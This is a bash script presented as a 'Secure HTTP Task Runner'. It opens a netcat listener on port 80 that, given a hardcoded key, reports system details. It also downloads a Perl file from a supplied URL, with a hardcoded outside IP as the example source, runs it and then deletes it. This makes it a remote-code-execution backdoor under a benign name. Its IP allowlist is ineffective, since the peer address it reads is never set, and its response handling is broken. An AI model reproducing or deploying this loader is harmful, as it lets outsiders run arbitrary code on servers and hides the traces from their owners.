#!/usr/bin/env bash

# ==========================================
# Secure HTTP Task Runner
# Endpoint:
#   /runner.sh
#
# Example:
# http://SERVER_IP/runner.sh?key=SECRET&task=auto&url=https://example.com/test.pl
# ==========================================

set -euo pipefail

# --------------------------
# CONFIG
# --------------------------

PORT="80"

# CHANGE THIS
SECRET_KEY="myUltraStrongKey123"

BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

FILE_NAME="load.pl"
FILE_PATH="$BASE_DIR/$FILE_NAME"

ALLOWED_IPS=(
    "127.0.0.1"
    "::1"
    "185.93.89.85"
)

# --------------------------
# FUNCTIONS
# --------------------------

send_response() {

    local body="$1"

    printf "HTTP/1.1 200 OK\r\n"
    printf "Content-Type: text/plain\r\n"
    printf "Connection: close\r\n"
    printf "Content-Length: %s\r\n" "${#body}"
    printf "\r\n"
    printf "%s" "$body"
}

send_404() {

    local body="404 Not Found"

    printf "HTTP/1.1 404 Not Found\r\n"
    printf "Content-Type: text/plain\r\n"
    printf "Connection: close\r\n"
    printf "Content-Length: %s\r\n" "${#body}"
    printf "\r\n"
    printf "%s" "$body"
}

url_decode() {

    local data="${1//+/ }"
    printf '%b' "${data//%/\\x}"
}

is_allowed_ip() {

    local ip="$1"

    for allowed in "${ALLOWED_IPS[@]}"; do
        [[ "$ip" == "$allowed" ]] && return 0
    done

    return 1
}

download_file() {

    local url="$1"

    if ! [[ "$url" =~ ^https?:// ]]; then
        echo "Invalid URL"
        return 1
    fi

    echo "[+] Downloading..."

    if command -v curl >/dev/null 2>&1; then

        curl -fsSL "$url" -o "$FILE_PATH"

    elif command -v wget >/dev/null 2>&1; then

        wget -qO "$FILE_PATH" "$url"

    else

        echo "curl or wget required"
        return 1
    fi

    echo "[+] Saved:"
    echo "$FILE_PATH"
}

run_perl() {

    if [[ ! -f "$FILE_PATH" ]]; then
        echo "File not found"
        return 1
    fi

    echo
    echo "[+] Running Perl script..."
    echo "--------------------------------"

    perl "$FILE_PATH" 2>&1

    echo
    echo "--------------------------------"
    echo "[+] Finished"
}

cleanup_file() {

    if [[ -f "$FILE_PATH" ]]; then

        rm -f "$FILE_PATH"

        echo "[+] Deleted:"
        echo "$FILE_PATH"

    else

        echo "Nothing to delete"

    fi
}

show_help() {

cat <<EOF
Secure HTTP Task Runner

Available endpoints:

/runner.sh?key=SECRET&task=info

/runner.sh?key=SECRET&task=auto&url=https://185.93.89.85/load.pl

/runner.sh?key=SECRET&task=run

/runner.sh?key=SECRET&task=cleanup

Flow:

download -> run
EOF

}

# --------------------------
# REQUEST HANDLER
# --------------------------

handle_request() {

    read -r request_line || return

    local method path protocol

    method=$(echo "$request_line" | awk '{print $1}')
    path=$(echo "$request_line" | awk '{print $2}')
    protocol=$(echo "$request_line" | awk '{print $3}')

    # Read and ignore headers
    while read -r header; do
        [[ "$header" == $'\r' || -z "$header" ]] && break
    done

    # Require /runner.sh endpoint
    local endpoint="${path%%\?*}"

    if [[ "$endpoint" != "/runner.sh" ]]; then
        send_404
        return
    fi

    # Parse query string
    local query=""

    if [[ "$path" == *"?"* ]]; then
        query="${path#*\?}"
    fi

    declare -A params

    IFS='&' read -ra pairs <<< "$query"

    for pair in "${pairs[@]}"; do

        key="${pair%%=*}"
        value="${pair#*=}"

        params["$key"]="$(url_decode "$value")"
    done

    local task="${params[task]:-}"
    local url="${params[url]:-}"
    local key="${params[key]:-}"

    # Detect client IP
    local client_ip="${SOCAT_PEERADDR:-127.0.0.1}"

    # Secret key check
    if [[ "$key" != "$SECRET_KEY" ]]; then
        send_response "Invalid secret key"
        return
    fi

    # IP allowlist check
    if ! is_allowed_ip "$client_ip"; then
        send_response "Access denied"
        return
    fi

    case "$task" in

        info)

            send_response "$(uname -a 2>&1)"
            ;;

        auto)

            output="$(download_file "$url" 2>&1)"

            output+=$'\n\n'

            output+="$(run_perl 2>&1)"

            send_response "$output"
            ;;

        run)

            send_response "$(run_perl 2>&1)"
            ;;

        cleanup)

            send_response "$(cleanup_file 2>&1)"
            ;;

        *)

            send_response "$(show_help)"
            ;;

    esac
}

# --------------------------
# START SERVER
# --------------------------

echo "[+] Secure HTTP Task Runner"
echo "[+] Listening on port $PORT"
echo
echo "[+] Example:"
echo "http://SERVER_IP/runner.sh?key=$SECRET_KEY&task=info"
echo

while true; do
    nc -l -p "$PORT" -q 1 | handle_request
done
